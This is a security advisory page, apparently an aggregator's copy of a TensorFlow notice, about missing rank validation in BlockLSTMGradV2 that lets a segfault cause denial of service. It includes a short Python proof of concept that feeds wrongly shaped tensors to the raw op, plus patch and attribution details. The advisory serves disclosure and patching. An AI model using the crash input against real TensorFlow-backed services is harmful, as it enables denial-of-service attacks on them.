PT-2026-59787 · Pypi · Tensorflow
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of
BlockLSTMGradV2 does not fully validate its inputs.wci,wcf,wco,bmust be rank 1w, cs prev,h prev` must be rank 2xmust be rank 3 This results in a a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf
use peephole = False
seq len max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw ops.BlockLSTMGradV2(seq len max=seq len max, x=x, cs prev=cs prev, h prev=h prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs grad=cs grad, h grad=h grad, use peephole=use peephole)Patches
We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Tensorflow